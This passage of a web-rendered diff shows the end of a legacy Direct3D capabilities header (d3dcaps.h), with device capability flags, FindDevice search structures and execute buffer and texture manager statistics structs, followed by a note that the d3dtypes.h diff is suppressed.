#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
|
||||
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
|
||||
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
|
||||
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
|
||||
|
||||
/* D3DDEVICEDESC dwDevCaps flags */
|
||||
|
||||
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
|
||||
/* for post-transform vertex data */
|
||||
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
|
||||
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
|
||||
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
|
||||
|
||||
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
|
||||
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
|
||||
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
|
||||
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
|
||||
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
|
||||
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
|
||||
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
|
||||
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
|
||||
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
|
||||
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
|
||||
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
|
||||
|
||||
/*
|
||||
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
|
||||
*/
|
||||
|
||||
/* device can do texgen */
|
||||
#define D3DVTXPCAPS_TEXGEN 0x00000001L
|
||||
/* device can do IDirect3DDevice7 colormaterialsource ops */
|
||||
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
|
||||
/* device can do vertex fog */
|
||||
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
|
||||
/* device can do directional lights */
|
||||
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
|
||||
/* device can do positional lights (includes point and spot) */
|
||||
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
|
||||
/* device can do local viewer */
|
||||
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
|
||||
#define D3DFDS_GUID 0x00000002L /* Match guid */
|
||||
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
|
||||
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
|
||||
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
|
||||
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
|
||||
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
|
||||
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
|
||||
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
|
||||
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
|
||||
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
|
||||
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
|
||||
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
|
||||
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
|
||||
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
|
||||
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
|
||||
|
||||
/*
|
||||
* FindDevice arguments
|
||||
*/
|
||||
typedef struct _D3DFINDDEVICESEARCH {
|
||||
DWORD dwSize;
|
||||
DWORD dwFlags;
|
||||
BOOL bHardware;
|
||||
D3DCOLORMODEL dcmColorModel;
|
||||
GUID guid;
|
||||
DWORD dwCaps;
|
||||
D3DPRIMCAPS dpcPrimCaps;
|
||||
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
|
||||
|
||||
typedef struct _D3DFINDDEVICERESULT {
|
||||
DWORD dwSize;
|
||||
GUID guid; /* guid which matched */
|
||||
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
|
||||
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
|
||||
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
|
||||
|
||||
/*
|
||||
* Description of execute buffer.
|
||||
*/
|
||||
typedef struct _D3DExecuteBufferDesc {
|
||||
DWORD dwSize; /* size of this structure */
|
||||
DWORD dwFlags; /* flags indicating which fields are valid */
|
||||
DWORD dwCaps; /* capabilities of execute buffer */
|
||||
DWORD dwBufferSize; /* size of execute buffer data */
|
||||
LPVOID lpData; /* pointer to actual data */
|
||||
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
|
||||
|
||||
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
|
||||
#define D3DDEB_CAPS 0x00000002l /* caps valid */
|
||||
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
|
||||
|
||||
/* D3DEXECUTEBUFFER dwCaps */
|
||||
|
||||
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
|
||||
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
|
||||
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
|
||||
|
||||
#if(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
|
||||
BOOL bThrashing; /* indicates if thrashing */
|
||||
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
|
||||
DWORD dwNumEvicts; /* number of textures evicted */
|
||||
DWORD dwNumVidCreates; /* number of textures created in video memory */
|
||||
DWORD dwNumTexturesUsed; /* number of textures used */
|
||||
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
|
||||
DWORD dwWorkingSet; /* number of textures in video memory */
|
||||
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
|
||||
DWORD dwTotalManaged; /* total number of managed textures */
|
||||
DWORD dwTotalBytes; /* total number of bytes of managed textures */
|
||||
DWORD dwLastPri; /* priority of last texture evicted */
|
||||
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
|
||||
|
||||
typedef struct _D3DDEVINFO_TEXTURING {
|
||||
DWORD dwNumLoads; /* counts Load() API calls */
|
||||
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
|
||||
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
|
||||
DWORD dwNumSet; /* counts SetTexture() API calls */
|
||||
DWORD dwNumCreates; /* counts texture creates */
|
||||
DWORD dwNumDestroys; /* counts texture destroys */
|
||||
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
|
||||
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
|
||||
DWORD dwNumLocks; /* counts number of texture locks */
|
||||
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
|
||||
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#endif //(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#pragma pack()
|
||||
|
||||
|
||||
#endif /* _D3DCAPS_H_ */
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||
#pragma endregion
|
||||
|
||||
2133
client/d3d/d3dtypes.h
Normal file
2133
client/d3d/d3dtypes.h
Normal file
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user